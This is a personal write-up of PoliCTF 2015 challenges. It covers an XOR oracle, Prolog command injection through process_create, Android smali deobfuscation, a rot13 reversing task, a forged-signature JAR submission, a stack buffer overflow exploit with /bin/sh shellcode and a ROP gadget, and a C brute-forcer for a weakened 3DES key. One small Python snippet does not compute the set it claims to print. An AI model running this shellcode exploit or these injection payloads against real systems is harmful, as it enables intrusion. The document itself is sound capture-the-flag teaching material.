This is a writeup from the first capture the flag competition I participated in, the PoliCTF. The challenges ranged from web vulnerabilities, through crypto challenges to writing binary exploits. I really enjoyed the competition and I am looking forward to the next year.

Exorcise

This one is trivial, a server is listening for user input and responding with some hex-encoded data.


$ nc exorcise.polictf.it 80
2e0540472c37151c4e007f481c2a0110311204084f
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaa
2e0541061a3e150908123e50123e12513e12080c110d043e180e143e12090e140d053e090017043
e120e0d1704053e3e08153e500f3e543e1204021c070d00061a3e150908123e50123e12513e1208
0c110d043e180e143e12090e140d053e090017043e120e0d58452d397f101b2a110f2d507f01000
2190f0206470f371d1b491e3a42003e14557f0a0618501c17301b0e17330a480e191e013b114111
0a2b531b0413450f3a2647541045063a47281a16065d120404141e7f151a0c533544002b53517f1
11c03130445301f4f023a1a1a0b550e1d2b0d12

The flag can be extracted by xoring the user-provided string with the server response.

Hanoi as a service

Connecting to the provided address:


$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
3
* Move top disk from a to b
* Move top disk from a to c
* Move top disk from b to c
* Move top disk from a to b
* Move top disk from c to a
* Move top disk from c to b
* Move top disk from a to b

Hmm, cool, let’s see, what happens on invalid input:

How many disks does your tower have?
asd
ERROR: Prolog initialisation failed:
ERROR: </2: Arithmetic: `asd/0' is not a function>

It runs Prolog, great. After a while of reading up on the syntax, I figured how to inject arbitrary code. So I tried the obvious:

How many disks does your tower have?
1),shell("/bin/ls")%
Nice try...

It looks like the shell() and unix() functions were removed. After some more searching the documentation, I found that Prolog also has process_create(), which works:

How many disks does your tower have?
1),process_create(path(uname), ['-a'], [])%
* Move top disk from a to b
Linux ip-172-31-2-198 3.14.39grsec1.0-grsec #2 SMP Thu Apr 23 15:12:34 CEST 2015 x86_64 x86_64 x86_64 GNU/Linux

I am not really sure if this is the intended solution or process_create was just overlooked but hey, it works :)

Crack me if you can

This one is an Android app. Unpacking the .apk and running strings on classes.dex yields:

$ strings classes.dex | grep flag
flag
flagging
'flagging{It_cannot_be_easier_than_this}
flags
suggest_flags

It turns out that this flag is just a bait, so some further digging is needed. Disassembling the dalvik .dex using smali reveals three classes.

it
└── polictf2015
	├── a.smali
	├── b.smali
	├── c.smali
	└── LoginActivity.smali

a.smali is just some OnClickListener implementation, but b.smali and c.smali both contain methods of this form:

...
.method public static a(Ljava/lang/String;)Ljava/lang/String;
    .registers 3

    const-string v0, "c"

    const-string v1, "a"

    invoke-virtual {p0, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;

    move-result-object v0

    return-object v0
.end method
...

These are then composed in LoginActivity.smali

.method private a(Ljava/lang/String;)Z
    .registers 5

    const/4 v0, 0x1

    const v1, 0x7f0c0038

    invoke-virtual {p0, v1}, Lit/polictf2015/LoginActivity;->getString(I)Ljava/lang/String;

    move-result-object v1

    invoke-static {v1}, Lit/polictf2015/c;->d(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v1

    invoke-static {v1}, Lit/polictf2015/c;->b(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v1
...

The next step is to extract the obfuscated string from resourses.arsc. The content can be guessed from the substitution functions being called, so strings+grep is enough to do the job.

$ strings resources.arsc | grep spdgj
ee[[c%l][c{g}[%{%Mc%spdgj=]T%aat%=O%bRu%sc]c%ti[o%n=Wcs%=No[t=T][hct%=buga[d=As%=W]e=T%ho[u%[%g]h%t[%}%

Now I just implemented deobfuscator in Python and captured the flag.

Reversemeplz

The binary provided in this challenge expects input on stdout and returns “Wrong input.” unless the input matches the flag.

Opening the binary in radare2 reveals that the input string is fed into some verifying function which iterates over it, checking whether individual characters are lowercase letters and applying some mysterious transformation. It then does some checking to see, if the flag is correct.

By testing various inputs, it turns out, that the transformation is just plain rot13.

The next stage then checks if differences between adjacent characters match some hard-coded values.

The flag string can therefore be easily reconstructed:

#! /usr/bin/env python3

ds = [-1, 17, -11, 3, -8, 5, 14, -3, 1, 6, -11, 6, -8, -10]

def rot13(a):
    return (a + 13) % 26

def tostr(a):
    return chr(ord("a") + rot13(a))

for st in range(26): # Iterate over all possible starting values
    res = tostr(st)
    c = st
    for d in ds:
        nc = (c + d) % 26
        if nc - c != d:
            break
        c = nc
        res += tostr(c)
    if len(res) == len(ds) + 1:
        print(res)

This outputs two possible values for the flag, both of which are correct.

John pastry shop

In this challenge, the server accepts a .jar file containing implementation of the provided Cake class. It then prints the ingredients added in its addIngredientsToCake().

The provided ShamanoCakeContainerEncoded.jar:

$ cat ShamanoCakeContainerEncoded.jar | nc pastry.polictf.it 80
nc: using stream socket
Welcome to John's Pastry Shop!
In John's opinion this cake container seems a trusted one from Shamano's Pastry Shop.
And it also contains a valid NewYorkCheeseCake.
This seems a tasty cake!
Here are its ingredients:
* Cream Cheese
* Biscuits
* Sugar
* Isinglass
Thanks for visiting John's Pastry Shop!

The objective is to submit a .jar file containing implementation of the provided abstract Cake class which sets the shouldBeAddedTheSpecialIngredient variable to true.

...
public abstract class Cake {

    protected boolean shouldBeAddedTheSpecialIngredient;
    protected List<String> ingredientsList;

    // Zero constructor
    protected Cake() {
        shouldBeAddedTheSpecialIngredient = false;
        ingredientsList = new LinkedList<>();
    }
...
public class NewYorkCheeseCake extends Cake {
	public void addIngredientsToCake() {
		this.shouldBeAddedTheSpecialIngredient = true;
	}
}

The .jars are first encoded by a simple algorithm from Decode.java. Rewritten to Python:

#! /usr/bin/env python3

import sys

INIT_BYTE = b"\x17"
ESCAPE_BYTE = b"\x18"
EXIT_BYTE = b"\x19"

with open(sys.argv[2], "rb") as i, open(sys.argv[3], "wb") as o:
    if sys.argv[1] == "decode":
        valid = False
        escape = False
        closed = False
        while not closed:
            b = i.read(1)
            if b == b"":
                break
            if b == INIT_BYTE and not escape:
                valid = True
            elif b == ESCAPE_BYTE and not escape:
                escape = True
            elif escape and not valid:
                escape = False
            elif valid:
                escape = False
                o.write(b)
    elif sys.argv[1] == "encode":
        data = i.read()
        data = data.replace(ESCAPE_BYTE, ESCAPE_BYTE * 2) \
            .replace(INIT_BYTE, ESCAPE_BYTE + INIT_BYTE) \
            .replace(EXIT_BYTE, ESCAPE_BYTE + EXIT_BYTE)
        o.write(INIT_BYTE)
        o.write(data)
        o.write(EXIT_BYTE)

Just packing a .jar with the custom NewYorkCheeseCake.class and submiting it to the server is not enough though.

$ cat encoded.jar | nc pastry.polictf.it 80                                       1s
Welcome to John's Pastry Shop!
[Error] The cake container has unsigned class files. Exit now..

The server seems to require a signature. The challenge description heavily hints that the certificate chain is not actually verified, so signing the jar is just a matter of creating a certificate with field values identical to the one used to sign the original .jar. This is an easy jarsigner exercise, omitted for brevity.

$ cat evil.jar | nc pastry.polictf.it 80                                      1s  
nc: using stream socket
Welcome to John's Pastry Shop!
In John's opinion this cake container seems a trusted one from Shamano's Pastry Shop.
And it also contains a valid NewYorkCheeseCake.
This seems a tasty cake!
Here are its ingredients:
flag{PinzimonioIsTheSecretIngredientAndANiceFlag}
Thanks for visiting John's Pastry Shop!

John’s library

This challenge required exploiting a binary running on a remote server.

$ ./johns-library
Welcome to the jungle library mate! Try to escape!!
 
 r - read from library
 a - add element
 u - exit
a
Hey mate! Insert how long is the book title: 
5
Lorem ipsum dolor sit amet
 
 r - read from library
 a - add element
 u - exit
r
Insert the index of the book you want to read: 1
ipsum dolor sit amet 
 r - read from library
 a - add element
 u - exit
u
bye bye!

Starting radare2 and looking at the add_element_to_library function, a buffer overflow can be immediately spotted in a gets() call. This allows an attacker to overwrite return value of the main function.

As there is no way to know address at which the shellcode is going to be placed, another pointer, further down the stack needs to be used. This pointer points slightly below the buffer, but after setting up the exploit in such a way that its least significant byte is overwritten with the string terminating \0 (this trick only works on little endian machines), it points somewhere inside the 1024 byte buffer about ~20% of the time.

This pointer is then loaded into %eip using a rop gadget:

And putting it all together into a python script:

#! /usr/bin/env python3

import struct as s
import sys
import time

# First nop sled
expl = b"\x90" * 700

# /bin/sh shellcode http://shell-storm.org/shellcode/files/shellcode-827.php
expl += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53" \
        b"\x89\xe1\xb0\x0b\xcd\x80"

expl += b"\x90" * (1041 - len(expl) - 30) # Second nop sled
expl += b"\xe9\x07\xfe\xff\xff" # jmp -500
# The next getchar result gets stored in this part
expl += b"A" * (1041 - len(expl))

expl += s.pack("I", 0x080487ef) # ret gadget

expl += b"BBBB"
expl += b"\n"

for l in [b"a\n", b"10\n", expl, b"u\n"]:
    sys.stdout.buffer.write(l)
    time.sleep(0.2)

3DOGES2

This one was definitely the most fun. Connecting to the provided address:

$ nc doges.polictf.it 80
Welcome! Wanna talk with John? Follow the instructions to get a Secure Channel.
37c072e4b3b3940243ece6d5005cd79a0002e2e634495036082b98f9663d6f071030ff85434a653
bf1560df52b92432e12bad879a989a816a4c1fb34173f390fbc3d0d202d97e12a432e5021751200
0fb9736845fa47aa723e2703191269ba14

You surely know what to do with this:
48fada8607e05ba41737774ffb54b2404573e9f3c2127ac026bbf82939a2a1c3

Insert key:

Looking at the connection handling code:

// Print things.
plain := []byte(
	"\nWelcome! Wanna talk with John? Follow the instructions to get a Secure™ Channel.\n")
cipherthings := make([]byte, 1024)
ciphertext := encrypt(plain, muchCipher)
hex.Encode(cipherthings, ciphertext)
plain = append(plain, cipherthings...)
conn.Write(plain)

plain = []byte("\n\nYou surely know what to do with this:\n")
cipherthings = make([]byte, 1024)
ciphertext = encrypt(superkey, muchCipher)
hex.Encode(cipherthings, ciphertext)
plain = append(plain, cipherthings...)
conn.Write(plain)
func NewTripleDOGESCipher(tripleDOGESKey []byte) (cipher.Block, error) {
	// I can't break it, so it is unbreakable. A friend told us so.
	muchCipher, err := des.NewTripleDESCipher(tripleDOGESKey)
	...

So it sends a constant string and a password encrypted with 3DES. The key is generated by the following:

func muchSecurity(key []byte) []byte {
	var tripleDOGESKey []byte
	fmt.Println(key)

	secondKey := make([]byte, 16)
	copy(secondKey, key)
	for i := 8; i < 16; i++ {
		// Let's be sure it is enough complex. Complex is good, a friend told us so.
		key[i] = (secondKey[i] & 0x3c) | (suchSubstitution[(secondKey[i]>>2)&0x0f] << 6)
		key[i] |= (key[i] >> 3) & 0x03
		key[i] |= ((key[i] >> 4) ^ key[i]) << 7
	}

	// EDE2 is required.
	tripleDOGESKey = append(tripleDOGESKey, key[:8]...)
	fmt.Println(append(tripleDOGESKey, key[:16]...))
	return append(tripleDOGESKey, key[:16]...)
}
ede2Key := []byte("<-- Some supersecret encryption key goes here -->")
tripleDOGESKey := muchSecurity(ede2Key)

As cracking 3DES is not an option (yet), the vulnerability has to be in the key generation. The function seems to attempt to generate EDE2 key, but due to the way 3DES works, it generates only what is equivalent to normal DES. DES itself is attackable, but not on my hardware and not on time to finish before the competition ends.

Let’s look a little more at individual byte generation:

key[i] = (secondKey[i] & 0x3c) | (suchSubstitution[(secondKey[i]>>2)&0x0f] << 6)
key[i] |= (key[i] >> 3) & 0x03
key[i] |= ((key[i] >> 4) ^ key[i]) << 7

Input into the process consists only of 5 bits per key byte. This means that the keyspace has at most 2⁴⁰ keys. Still a bit much.

The magic bit shuffling cannot probably generate all 32 values:

def transform(n):
    ret = (n & 0x3c) | (subst[(n >> 2) & 0x0f] << 6)
    ret &= 0xff
    ret |= (ret >> 3) & 0x03
    ret |= ((ret >> 4) ^ ret) << 7
    ret &= 0xff
    return ret
s = set()
for b in range(256):
	s.add(b)
print(s)
{0, 27, 32, 59, 68, 95, 100, 127, 141, 150, 169, 173, 201, 210, 242, 246}

So about half that. This means a keyspace of 2³², which should be searchable relatively quickly.

My first implementation in Python using PyCrypto had too much overhead and the total search time was about ~100 hours. After I rewrote the cracker in C, calling OpenSSL directly, the time it took to iterate over the entire keyspace decreased down to about 30 minutes.

#include <string.h>
#include <stdio.h>
#include <time.h>
#include <openssl/des.h>
#include <stdint.h>
#include <stdbool.h>

#define ASIZE(x) \
	(sizeof(x) / sizeof(x[0]))

const uint8_t keybytes[] = \
	{0, 27, 32, 59, 68, 95, 100, 127, 141, 150, 169, 173, 201, 210, 242, 246};

const uint8_t iv[] = {0xe9, 0x21, 0x92, 0xe7, 0x1e, 0xb9, 0x3a, 0xd8};
// As the plaintext is known, decrypting only one block is needed
const uint8_t tocrack[] = {0xb9, 0x67, 0x35, 0x17, 0xe3, 0x94, 0xe7, 0x5c};

void main()
{
	int counter[8] = {0, 0, 0, 0, 0, 0, 0, 0};
	long cnt = 0;
	DES_cblock key;
	DES_key_schedule keysched;
	uint8_t out[sizeof(tocrack)];

	clock_t start = clock();

	while (true) {
		for (int i = 0; i < ASIZE(counter); i++)
			key[i] = keybytes[counter[i]];
		cnt++;

		if (cnt % 1000000 == 0) {
			clock_t now = clock();
			printf("%ld\t%ld\n", cnt, (now - start) / 1000);
			start = now;
		}

		DES_set_odd_parity(&key);
		DES_set_key_checked(&key, &keysched);
		DES_cblock ivec;
		memcpy(ivec, iv, sizeof(ivec));

		DES_ncbc_encrypt(tocrack, out, sizeof(tocrack),
				&keysched, &ivec, DES_DECRYPT);

		if (out[0] == '\n' && out[1] == 'W'
				&& out[2] == 'e' && out[3] == 'l') {
			for (int i = 0; i < ASIZE(out); i++)
				printf("%c", out[i]);
			printf("[%d, %d, %d, %d, %d, %d, %d, %d]\n",
					key[0], key[1], key[2], key[3],
					key[4], key[5], key[6], key[7]);
			break;
		}

		for (int k = 0; k < 8; k++) {
			counter[k]++;
			if (counter[k] >= ASIZE(keybytes))
				counter[k] = 0;
			else
				break;
		}
		if (counter[7] == ASIZE(keybytes))
			break;
	}
}